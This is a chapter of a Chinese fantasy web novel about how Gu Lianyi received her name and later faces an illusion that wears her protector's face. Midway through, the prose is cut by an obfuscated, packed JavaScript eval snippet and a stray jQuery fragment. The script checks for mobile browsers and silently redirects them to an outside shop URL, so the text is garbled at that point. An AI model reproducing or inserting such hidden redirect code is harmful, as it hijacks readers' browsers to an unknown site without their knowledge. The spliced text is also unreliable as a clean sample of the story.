问话过后,老大的脸如同破碎的镜子那般四分五裂。
碎片消失,女子又重回登仙梯之上。
女子眼神空洞,却挣扎着站了起来。
女子僵硬地转过身子,其神情惊怒依旧,但嘴角,却诡异地翘了起来,“我,我叫顾涟漪。”
光是站起这个动作,似乎就耗费了女子所有力气,重压之下,女子竟然清醒地看到了曾经。
“你叫什么?”登记之人头也不抬。
“疤面。”高壮的女子道。
“哈?”显然是忙晕了的女子不耐烦地抬起头,“别捣乱。”
脸上已经再无疤痕的女子几次张嘴,最终还是只能再次说出疤面两个字,而其身旁满脸期待的女子,也在这一声声疤面中,眼神黯淡了下来。
此刻,登记的女子也意识到了不对,女子使劲揉了揉脸,才问道,“有真名吗?别怕,有仙人在,真有冤仇,城里会为你做主的。”
显然,这名女官,并不清楚幸存者小院那边的事情。
高壮的女子暗自松了口气,见女官已经开始翻书要为她现场取名,才道,“段春水。”
偏村段姓的老妪,在春天的水流中捡来的孩子。
“段春水?”女官轻声复念了几次这三个字,“挺好听的啊,这有什么不好意思说的。”
说着,女官还嘀咕起了一些别人难以启齿的名字。
狗蛋狗儿小狗大狗,大头小头大眼小眼,大丫二丫三丫,大蛋二蛋三蛋。
女子身后的跟班听着,实在没忍住,笑出了声。
这一声倒是提醒了女官,“你叫什么?”
矮个跟班立直了身体,下意识道,“我叫媚……”
“媚?媚什么?”女官见她不说话,还以为自己忙晕了没听清。
“我叫,顾媚,不对,顾一,也不对,顾,顾,顾跟水!”在女官的威严之下,几度改口的女子,瞬间给自己想了个新名字。
不过,在听到她叫自己媚儿时便脸色沉下来的老大,却抬手阻止了女官,并请女官给她取个新名字。
“老大,你干什么呀?我就叫跟水啊!”矮个女子拉过高壮女子,“人家女官多忙啊,你别给人添乱了。”
“我说了,我以后会找人帮你改名。”高壮女子一脸严肃,“这是我允许你暂且叫阿一的原因。”
说罢,高壮女子看向女官,“她不叫顾跟水,您帮她取个名吧,她姓顾。”
“那就叫随水,谢水,爱水。”矮个女子鼓着脸道。
“你!”高壮女子生气了,可这一次,矮个女子没听她的话,只看向女官,让她记名字。
女官见两人僵持不下,干脆把东西一收,让两人在第二天这个点商量出个结果来。
不过到了第二天,两人还是谁也不服谁。
再次登门的女官见状,也没管两人的矛盾,直接把自己琢磨了一夜的名字写了出来。
“顾涟漪?”高壮女子在女官的指引下读出这三个字。
“涟漪?”顾涟漪懵了。
不是,这人咋不按套路来呢?直接让她叫顾跟水就完了呗,怎么让她叫涟漪,叫顾小水都比这个中听啊?
“怎么是这么难写的字?”而老大的关注点,却是十分奇特,“她不过让你多跑一趟,不至于这么折腾她吧?这名字叫她怎么写?”
女官得意一笑,招手让高壮女子附耳过来,悄声在女子身边说了几句话。
一通耳语和一通莫名其妙的展示过后,高壮女子就拍板定下了顾涟漪的名字。
女官仍旧不管高壮女子是如何劝孩子的,只让高壮女子找时间带上顾涟漪,再去府衙路做个登记,便收拾东西离去,临走前,还留下了其为两人写好的名字。
“涟漪,涟漪。”
春水截断,涟漪泛起。
春水将断,涟漪潜底。
春水不断,涟漪相顾。
自那之后,老大就总爱叫她涟漪,完全不管她气呼呼的模样。
她本无比讨厌这个和老大完全不搭边的名字,一直到她去了苍狼。
那日,她本不愿抱怨自己的名字,可聊着聊着,得知大家早已在入队时就敞开心扉后,她也把近日来自己心中最大的心结给说了出来。
那就是,她想叫个和老大有关的名字。
实在不行,和改名似骄阳的阿四一样叫个似水也行啊。
顾涟漪仔仔细细地自己定名把那两天的场景,都给好友描述了一遍,可她们都是样貌并不出众的低等小倌,未曾有机会学习过,在成人院上的这两天学,也根本不管用。
于是好友不顾顾涟漪劝阻,找来了苍狼最有文化的人,盼月副官。
盼月副官初听时还一脸思索,可一听到段春水是如何定下的顾涟漪名字后,就立刻露出了笑容。
那时候的老大,本还在犹豫,却在见过被那名女官搅动的水面后,便立刻定下了顾涟漪的名字。
没错,除了那通窃窃私语外,那个女官的古怪动作,就是带着两人去水缸旁,然后轻轻搅动了一下水缸。
顾涟漪虽样貌比不过其余人,可能叫媚儿,可见其性格还是有点东西在的。
只一见盼月副官的样子,顾涟漪就知道,盼月副官,肯定已经明白老大为什么要让她叫顾涟漪了。
见她焦急,听完前因后果的盼月副官却卖起了关子,在短暂的离开过后,命人带着自己和顾涟漪,去找寻了一汪流动的溪水、一条奔腾的河流和一处被截断的水面。
并告知了顾涟漪,涟漪这两字的含义。
在说明含义后,盼月副官,竟还从顾涟漪断断续续的回忆中,拼凑出了老大时不时就会盯着顾涟漪念出那三个句子。
春水截断,涟漪泛起。
春水将断,涟漪潜底。
春水不断,涟漪相顾。
每每念叨那三个句子,老大都会笑得一脸温柔。
这样的笑容太过令人沉溺,搞得顾涟漪始终都记不清那三句话,到底是什么。
“有春水的地方,就会出现涟漪。”
那晚,带她在溪边过夜的盼月副官和她说了许多,可顾涟漪,只记住了这句话。
其实那两天天气并不好,并没能如盼月副官的愿,出现阳光照耀溪水,映出水面磷光的美景,可那汪溪水,还是流进了顾涟漪心中。
那两日,盼月副官了解了一切,却并未像之前那般让她劝劝老大,只是让她回去好好和老大相处,别再因为误会而和老大置气了。
本不愿找
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723785|207169||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
盼月副官的顾涟漪感激不已,回去当日,就寻了当初给她取名的女官,给人送上了自己的谢礼。
这之后,顾涟漪就喜欢上了这个名字。
等到琢磨清楚那三句话的意思后,顾涟漪还得寸进尺地找了自家老大,让老大跟着她姓,因为她觉得断春水这个意向有点不吉利。
对此,老大回应她的,只有一个白眼。
“倒反天罡啊你?当初是谁说自己姓顾,死都不会忘也不会改的?我听你的没让你改姓,你倒好,还让我改掉我奶留给我唯一的东西。”老大如是道。
也是。
“那以后我孩子叫顾春水。”顾涟漪嘿嘿一笑。
“那是你的事。”一直说不想养她的老大嫌弃道,“你孩子爱叫什么叫什么,但有一点你记着,我养活一个你不成问题,别为了和我怄气随便找个人嫁了。”
“哼,明明之前还说要帮我找个好人家嫁了。”顾涟漪娇嗔一声,上前抱住了老大的胳膊,“怎么现在又改口,让我不急着嫁人啦?”
“我!”
老大下意识想反驳,可一个我字出口,老大的神情便失落了下来,只一瞬,那失落转瞬即逝,满不在乎的笑容又挂上了老大的脸颊。
“那能一样吗?”
那能一样吗?
当初被困寻花巷,能寻个好人家嫁了,已经算是老大能替她想到的最好结局了,可现在不一样了,她们走了出来,自毁的容颜也恢复了。
她们的路,不再只有那窄窄一条了。
“嗯,不一样了。”顾涟漪附和道。
寻花巷消失了,老大也不用再愁自己死后她该怎么办了。
可那该死的幻境,竟让那些可恶的东西,顶着老大的脸,做出老大根本不会去做的事情。
想到此,登仙梯上的女子眼神发狠,竟是咬着牙,返身往下走去,就如同她跟随的人那般。
女子刚下一步,整个人就猛地一震,再次陷入了幻觉。
幻境中,顾涟漪身份变换,从一阶平民,一路变为了大家小姐,女官,女帝。
仅仅下行几步,顾涟漪就已经在恍惚中度过了几辈子,可那几世轮回中,并没有那人的身影。
一直到,她决定势要成仙。
自她确定了自己的道路后,大家小姐身旁有了护卫,女官身旁有了女将,女帝身旁,有了护国将军。
待到即将触碰到仙途那一刻,那个一直陪在她身边的东西,才露出了獠牙。
“涟漪,别走。”那东西顶着那人的脸,满脸哀求,“留下来,和我过完这一生,好吗?”
数次的恍惚下,顾涟漪两眼发直,直勾勾地盯着那东西,“你说什么?老大。”
说着,顾涟漪思绪回神,满脸不可置信,“你说什么?老大。”
惊疑过后,顾涟漪眼中含泪,双唇微颤,“你说什么?老大。”
让她留下的东西,此刻却没有继续劝她,而是在良久的沉默后,才道,“和我共度一生,不是你平生所愿吗?”
顾涟漪双眼垂泪,眼圈发红,“我的平生所愿,是和老大共度一生。”
闻言,那东西反而笑了,还将手中的剑递给了顾涟漪。
“如此,那你便杀了我,去寻她吧。”